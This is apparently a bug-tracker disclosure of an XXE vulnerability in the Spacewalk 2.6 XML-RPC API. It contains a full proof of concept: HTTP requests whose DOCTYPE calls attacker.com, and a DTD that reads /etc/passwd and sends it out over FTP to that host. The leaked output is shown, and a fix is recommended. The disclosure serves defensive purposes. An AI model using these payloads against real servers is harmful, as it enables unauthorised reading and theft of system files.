Created attachment 1407296 [details]
The image is showing the Proof of Concept exploit leaking the content of /etc/passwd (first line at the moment)

Description of problem:
An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts. 

Version-Release number of selected component (if applicable):
2.6

How reproducible:
An unauthenticated attacker, able to reach Spacewalk server (on port 443 - https), would be able to perform an XXE attack and leak sensitive information from the machine. Since this type of XXE is defined as "out-of-bound", we would first need to:
1. Set-up an HTTP server, to deliver a supplementary DTD file to the vulnerable server;
2. Set-up an FTP server, to retrieve the data from the vulnerable server;


Steps to Reproduce:
1. Let's first try the simplest RPC API request to see if Spacewalk is reachable:
>>REQUEST:
POST /rpc/api HTTP/1.1
Host: victim.com
Content-Length: 97

<?xml version="1.0"?>
<methodCall>
   <methodName>api.systemVersion</methodName>
</methodCall>

<<RESPONSE:
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
        <string>2.6</string>
      </value>
    </param>
  </params>
</methodResponse>


2. Now let's test a simple XXE payload, that will force the server to connect back to our HTTP server:
>>REQUEST:
POST /rpc/api HTTP/1.1
Host: victim.com
Content-Length: 163

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://attacker.com:80/LOOKINGGOOD" [
]>
<methodCall>
   <methodName>api.systemVersion</methodName>
</methodCall>

>>'RESPONSE':
victim.com - - [12/Mar/2018 16:35:33] "GET /LOOKINGGOOD HTTP/1.1" 404

3. At this point we confirmed the XXE and we can move on by extracting sensitive information from the machine (reading the /etc/passwd file for example). To do so, we will need an HTTP and an FTP server running on the attacker side. Let's first create an additional DTD file that will be server via HTTP with the following content (questo.dtd):
<!ENTITY % d SYSTEM "file:///etc/passwd"> 
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://attacker.com:21/%d;'>">

4. Now we can craft the malicious request as follow:
>>REQUEST:
POST /rpc/api HTTP/1.1
Host: victim.com
Content-Length: 190

<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://attacker.com/questo.dtd">
%asd;
%c;
]>
<methodCall>
   <methodName>api.systemVersion&rrr;</methodName>
</methodCall>

<<'RESPONSE':
FTP. New client connected
< USER anonymous
< PASS Java1.8.0_131@
> 230 more data please!
< TYPE I
> 230 more data please!
< CWD root:x:0:0:root:
> 230 more data please!
< CWD root:
> 230 more data please!
< CWD bin
[...]

Expected results:
As demonstrated in the steps to replicate, the attacker would be able to read any file on the system (those readable by `apache` user at least). 

Additional info:
The method to retrieve the content of a file (FTP in this case), it not (yet) perfect. But there is room for improvement to simply show the whole file in one time, without mixing it between the FTP commands.

The test was performed on version 2.6 just because Oracle delivers its Linux distribution with that version installed (http://www.oracle.com/technetwork/server-storage/linux/downloads/vm-for-hol-1896500.html).

The reccomendation to fix this issue is to instruct the XML parser to disable support for the `DOCTYPE' tag, which XML external entity injection makes use of to define the injected entity.

For any additional information do not hesitate to reply to this thread.
Thanks,